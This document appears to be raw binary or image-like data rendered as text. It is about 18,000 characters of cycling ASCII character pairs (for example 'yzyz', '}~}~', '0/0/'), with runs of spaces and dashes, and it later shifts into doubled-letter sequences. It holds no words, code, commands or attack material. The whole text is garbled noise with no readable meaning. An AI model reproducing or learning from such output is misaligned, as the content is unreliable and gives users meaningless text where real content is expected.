-}}}}}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststsrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKKKKKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABA@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefeeeedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~}|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghgheefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMLKLKKLKKKKKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqpopopopopopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOLKLKKKKKKLKLKLKJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPONMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQNMNMNMNMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQNMNMNMNMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|{zyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghfefeeeeedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopoponmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJIJIJIJIHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKKKKKKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=<;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzyxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmlklklklklklklklijijijijghghgfefefeeeeeedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijefefeeeefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;:9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijihefefefefdcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKKKKKKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklghghghghefefefefdcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklghghghghefefefefdcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:787878785656565634343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklkjijijijghghghghefefefeedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:787878785656565634343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghgheeeefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:98787878785656565634343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878787878785656565634343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKKKKKKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878787878785656565634343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvutstststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878787878785656543434343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCBABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878787878783434343434343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghfefefeeedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878787878763434343434343434}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghgheeefefefdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656563434343434343434}}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656343434343434343434343434121111110/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - -34343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -34343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -34343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - -34343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -34343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -34343434211111120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -34343434121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -34343434121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - 34343434121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -34343434121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -34343434121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -34321212111111210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -121111122121210/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -121212120/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%$#$#$#$#$#"!"!"!"!         - - - -121212120/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -121212120/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -121211110/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -112121210/0/0/0/0/0/0/.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#"!"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!          - - - -212111110/0/0/0/.-.-.-.-.-.-.-,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!             - - - -121212120/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!              - - - -121212120/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!                 - - - -121212120/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!                 - - - -121212120/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!               - - - -121212120/0/0/0/.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -qqrrssttxyyzz{{|%$$##""!PQQRRSSTMLLKKJJI())**++,uttssrrqtuuvvwwx)((''&&%LMMNNOOPQPPOONNM-..//001RQQKKJJI=>>??@@AXXWWVVUU ~~}} - - iijjkkll44332211AABBCCDD\\[[ZZYY eeffgghh$$##""!!rrssttuu]^^__``a@??>>==<56677889hggffeed YZZ[[\\]DCCBBAA@12233445lkkjjiih  uuvvwwxx ~~}}| - - |}}~~! TUUVVWWXIHHGGFFE,--..//0qppoonnmxyyzz{{|%$$##""!PQQRRSSTMLLKKJJI1778899:IHHGGFFEABBCCDDETTSSRRQQ!!""##$$||{{zzyymmnnoopp00//..--EEFFGGHHXXWWVVUU ~~}} - - iijjkkll vvwwxxyyabbccdde<;;::9989::;;<<=dccbbaa`]^^__``a@??>>==<56677889hggffeed~~}} - - yyzz{{|| - - |{{zzyyx XYYZZ[[\EDDCCBBA01122334mllkkjji - - |}}~~! TUUVVWWXIHHGGFFE:;;<<==>EDDCCBBAEFFGGHHIPPOONNMM%%&&''((xxwwvvuuqqrrsstt,,++**))IIJJKKLLTTSSRRQQ!!""##$$||{{zzyymmnnooppzz{{||}}effgghhi87766554=>>??@@A`__^^]]\abbccdde<;;::9989::;;<<=dccbbaa`||{{zzyy - - }}~~ - - xwwvvuut\]]^^__`A@@??>>=45566778ihhggffe XYYZZ[[\EDDCCBBA>??@@AABA@@??>>=IJJKKLMNLLKKJJII))**++,,ttssrrqquuvvwwxx((''&&%%MMNNOOPPPPOONNMM%%&&''((xxwwvvuuqqrrsstt~~ -ijjkkllm43322110ABBCCDDE\[[ZZYYX effgghhi87766554=>>??@@A`__^^]]\ !!"xxwwvvuu tssrrqqp`aabbccd=<<;;::9899::;;>=BCCDDEEF=<<;;::9OPQQRRSSHHGGFFEE--..//00ppoonnmmyyzz{{||$$##""!!QQRRSSTTLLKKJJII))**++,,ttssrrqquuvvwwxx - mnnooppq0//..--,EFFGGHHIXWWVVUUT !~~}}| - - ijjkkllm43322110ABBCCDDE\[[ZZYYX"##$$%%&ttssrrqqpoonnmml deeffggh98877665<==>>??@a``__^^]`aabbccd=<<;;::9FGGHHIIJ98877110TTUUVVWWDDCCBBAA11223344llkkjjii - - }}~~ UUVVWWXXHHGGFFEE--..//00ppoonnmmyyzz{{|| - - qrrssttu,++**))(IJJKKLLMTSSRRQQP!""##$$%|{{zzyyxmnnooppq0//..--,EFFGGHHIXWWVVUUT&''(())*ppoonnmmlkkjihgf ~~} - - hiijjkkl54433221@AABBCCD]\\[[ZZY deeffggh98877665JKKQQRRS0//..--,XXYYZZ[[@@??>>==55667788hhggffee YYZZ[[\\DDCCBBAA11223344llkkjjii - - }}~~~~}}|uvvwwxxy(''&&%%$MNNOOPPQPOONNMML%&&''(()xwwvvuutqrrssttu,++**))(IJJKKLLMTSSRRQQP*++,,--.llkkjjii~~}}|| !!""eeddccbb !!""##$}||{{zzy lmmnnoop100//..-DEEFFGGHYXXWWVVU ~~} - - hiijjkkl54433221STTUUVVW,++**))(\\]]^^__<<;;::9999::;;<>==55667788hhggffee  |{{zzyyx yzz{{||}$##""!! QRRSSTTULKKJJIIH)**++,,-tssrrqqpuvvwwxxy(''&&%%$MNNOOPPQPOONNMML.//00117hhggffee {{zzyyxx##$$%%&&aa``__^^$%%&&''(yxxwwvvupqqrrsst-,,++**)HIIJJKKLUTTSSRRQ !!""##$}||{{zzy lmmnnoop100//..-WXXYYZZ[(''&&%%$``aabbcc88776655==>>??@@``__^^]]aabbccdd<<;;::9999::;;<>??@@``__^^]]tssrrqqp YZZ[[\\]DCCBBAA@12233445lkkjjiih - - }~~ UVVWWXXYHGGFFEED;<<==>>?``__^^]]%%&&''((ssrrqqpp++,,--..YYXXWWVV,--..//0qppoonnmxyyzz{{|%$$##""!PQQRRSSTMLLKKJJI())**++,uttssrrqtuuvvwwx)((''&&%_``aabbc jkkllmmn00//..--EEFFGGHHXXWWVVUU ~~}} - - iijjkkll44332211AABBCCDD\\[[ZZYY~~}}||poonnmml]^^__``a@??>>==<56677889hggffeed YZZ[[\\]DCCBBAA@?@@AABBC\\[[ZZYY))**++,,oonnmmll//001177UUTTSSRR01122334mllkkjji - - |}}~~! TUUVVWWXIHHGGFFE,--..//0qppoonnmxyyzz{{|%$$##""!cddeekklnooppqqr,,++**))IIJJKKLLTTSSRRQQ!!""##$$||{{zzyymmnnoopp00//..--EEFFGGHHXXWWVVUU {{zzyyxxlkkjihgfabbccdde<;;::9989::;;<<=dccbbaa`]^^__``a@??>>==>??@@A`__^^]]\abbccdde<;;::998GHHIIJJKTTSSRRQQ11223344bbaa``__<<==>>??KJJIIHHG899::;;>=45566778ihhggffe pqqrrsst vwwxxyyz$$##""!!QQRRSSTTLLKKJJII))**++,,ttssrrqquuvvwwxx((''&&%%MMNNOOPPPPOONNMM%%&&''((ssrrqqpp##$$%%&&aa``__^^ !~~}}| - - ijjkkllm43322110ABBCCDDE\[[ZZYYX effgghhi87766554KQQRRSSTPPOONNMM55667788^^]]\\[[@@AABBCCGFFEEDDC<==>>??@a``__^^]`aabbccd=<<;;::9899::;;>??@a``__^^]xyyzz{{|~YYZZ[[\\DDCCBBAA11223344llkkjjii - - }}~~ UUVVWWXXHHGGFFEE--..//00kkeeddcc++,,--..YYXXWWVV%&&''(()xwwvvuutqrrssttu,++**))(IJJKKLLMTSSRRQQP!""##$$%|{{zzyyxmnnooppq0//..--,XYYZZ[[\HHGGFFEE==>>??@@VVUUTTSSHHIIJJKK?>>==<<;DEEFFGGHYXXWWVVU ~~} - - hiijjkkl54433221@AABBCCD]\\[[ZZY |}}~~]]^^__``@@??>>==55667788hhggffee YYZZ[[\\DDCCBBAA11223344bbaa``__//001177UUTTSSRR)**++,,-tssrrqqpuvvwwxxy(''&&%%$MNNOOPPQPOONNMML%&&''(()xwwvvuutqrrssttu,++**))(\]]^^__`DDCCBBAAAABBCCDDRRQQKKJJQQRRSSTT;::99887HIIJJKKLUTTSSRRQ !!""##$}||{{zzy lmmnnoop100//..-DEEFFGGHYXXWWVVU ~~} - -  - - aabbccdd<<;;::9999::;;<>==55667788^^]]\\[[8899::;;QQPONMLK-..//001poonnmml yzz{{||}$##""!! QRRSSTTULKKJJIIH)**++,,-tssrrqqpuvvwwxxy(''&&%%$`aabbccd@@??>>==EEFFGGHHIIHHGGFFUUVVWWXX76543211LMMNNOOPQPPOONNM$%%&&''(yxxwwvvupqqrrsst-,,++**)HIIJJKKLUTTSSRRQ !!""##$}||{{zzy   eeffgghh88776655==>>??@@``__^^]]aabbccdd<<;;::9999::;;<>??KJJIIHHG12233445lkkjjiih - - }~~ UVVWWXXYHGGFFEED-..//001poonnmml yzz{{||}$##""!! deekkllm<<;;::99IIJJKKLLEEDDCCBBYYZZ[[\\00//..--PQQRRSSTMLLKKJJI())**++,uttssrrqtuuvvwwx)((''&&%LMMNNOOPQPPOONNM$%%&&''(yxxwwvvu~~}}||{~~}} - - iijjkkll44332211AABBCCDD\\[[ZZYY eeffgghh88776655==>>??@@VVUUTTSS@@AABBCCGFFEEDDC56677889hggffeed YZZ[[\\]DCCBBAA@12233445lkkjjiih - - }~~ mnnooppqrqqppoon88776655MMNNOOPPAA@@??>>]]^^__``,,++**))TUUVVWWXIHHGGFFE,--..//0qppoonnmxyyzz{{|%$$##""!PQQRRSSTMLLKKJJI())**++,uttssrrq{zzyyxxw||{{zzyymmnnoopp00//..--EEFFGGHHXXWWVVUU ~~}} - - iijjkkll44332211AABBCCDDRRQQKKJJDDEEFFGGCBBAA@@?9::;;<<=dccbbaa`]^^__``a@??>>==<56677889hggffeed qrrssttunmmllkke44332211QQRRSSTT==<<;;::aabbccdd((''&&%%XYYZZ[[\EDDCCBBA01122334mllkkjji - - |}}~~! TUUVVWWXIHHGGFFE,--..//0qppoonnm - - wvvuuttsxxwwvvuuqqrrsstt,,++**))IIJJKKLLTTSSRRQQ!!""##$$||{{zzyymmnnoopp00//..--EEFFGGHHIIHHGGFFHHIIJJKK?>>==<<;=>>??@@A`__^^]]\abbccdde<;;::9989::;;<<=dccbbaa`uvvwwxxyeddccbba00//..--UUVVWWXX99887711eekkllmm$$##""!!\]]^^__`A@@??>>=45566778ihhggffe XYYZZ[[\EDDCCBBA01122334mllkkjji srrqqppo !!""ttssrrqquuvvwwxx((''&&%%MMNNOOPPPPOONNMM%%&&''((xxwwvvuuqqrrsstt,,++**))IIJJKKLLEEDDCCBBQQRRSSTT;::99887ABBCCDDE\[[ZZYYX 